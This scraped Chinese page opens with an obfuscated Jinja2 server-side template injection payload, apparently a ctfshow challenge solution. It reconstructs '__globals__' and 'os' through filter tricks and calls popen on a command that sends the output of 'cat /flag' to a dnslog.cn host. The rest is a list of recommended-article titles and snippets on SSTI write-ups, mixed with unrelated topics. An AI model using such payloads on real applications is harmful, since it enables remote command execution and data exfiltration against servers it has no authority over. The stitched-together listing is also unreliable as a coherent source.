m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(xxx =a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}

CTFshow SSTI相关推荐

  1. ctfshow SSTI 知识点总结

    前言 之前没太接触过模板注入相关的知识,所以特地用一天时间把web入门的SSTI的题目刷完,参考了其它大佬的文章,对知识点进行一个总结. SSTI知识点 基础知识 jinja2官方文档 Templat ...

  2. CTFSHOW SSTI入门

    361 使用__builtins__类中的方法来进行注入攻击 在warnings.catch_warnings类中有他 可以使用以下脚本找这个类 import json classes="& ...

  3. CTFSHOW SSTI篇

    文章目录 web361 web362 web363 web364 web365 web366.367 web368 web369 web370 web371 web372 跟大佬交换了思路学到了可以用 ...

  4. 模板注入总结(SSTI)

    文章目录 基础知识 解题步骤 绕过过滤 0x01 调用键值(过滤[]) 0x02 过滤os 0x03 过滤点 0x04 过滤[''] ('') {} CTFSHOW web361-web372 一些p ...

  5. catf1ag Web writeup(wp) 可能会持续更新

    文章目录 命令执行之我在干什么 签到题 webshell 无字符webshell int 命令执行 <我的女友是机器人> 变量覆盖_extract 等于False 啥都没了 文件包含 st ...

  6. CTFSHOW-SSTI

    认识SSTI https://xz.aliyun.com/t/3679 SSTI模板注入绕过(进阶篇)_yu22x的博客-CSDN博客_ssti绕过 CTFshow-WEB入门-SSTI_bfengj ...

  7. ctfshow web入门 nodejs 334-341(更新中)

    前言 说实在也没啥好说的,希望大家要有勇气,向难题挑战,别像我一样自始至终都是一个菜狗,哎. 这里在刚开始的,我就有一个问题就是我发现刚开始使用的是require来导入模块,但是到了后面发现大部分使用 ...

  8. [CTFSHOW]CTFSHOW击剑杯 部分WP

    进群得码 群里发送 击剑杯签到即可 所以就发送 "击剑杯签到即可" 然后得到flag 给我看看 三血 <?php header("Content-Type: tex ...

  9. ctfshow单身杯

    目录 <1> web (1)签到(data协议) (2) easyPHP(awk执行命令) (3) 姻缘测试(ssti) (4) blog <2> Misc (1)misc签到 ...

最新文章

  1. 文档生成器 Xcode与Appledoc
  2. centos使用git安装nvm
  3. 使用数据库保存Asterisk sip账号信息(odbc方式)
  4. 12306 的技术扒光在你面前,100 万人如何抢 1 万张票
  5. linux django搭建网站,Linux下搭建Django站点一
  6. Android系统性能优化(68)---绘制优化
  7. 【Jvm】jvm -XX 参数 VM 调优参数
  8. 把grid第一列设置为行号
  9. excel表格的边框线怎么去除html,在EXCEL中如何去掉表头的边框线
  10. python 网页截图不全_Selenium webdriver 截图 太长截不全的问题
  11. office无法卸载无法安装的解决方法
  12. visual paradigm 绘图学习记录
  13. cpua55和a53哪个好_OPPOA55和OPPOA53哪个好-参数对比-更值得入手
  14. Pikachu靶场之文件包含漏洞详解
  15. Web安全之文件上传漏洞
  16. 【学习笔记】网关 路由
  17. Eclipse开发工具的使用
  18. 那些有趣/实用的 Chrome 扩展神器系列(六)
  19. Proxmox VE同时配置NAT共享IP和独立IP虚拟机
  20. node JS獲取GPS_Python与Node.JS:哪一个最适合您的项目?

热门文章

  1. 记那些windows中的零落碎片
  2. 7.1语言前的状况2
  3. 真上头!拿破仑、孔子在线陪聊!AI「复活」历史名人太牛啦!
  4. CyclicBarrier和CountDownLatch使用上的区别
  5. 泛域名解析和域名解析的区别+DNS
  6. 怎么查询共享使用人_哪些人使用化妆品容易过敏 脸部过敏了怎么办
  7. 数据结构实训项目---比较一些排序
  8. Python网络爬虫数据采集实战:同花顺动态网页爬取
  9. 我的Unity3D学习日记-05(官方实例2Droguelike)
  10. javaEE和SE、ME的区别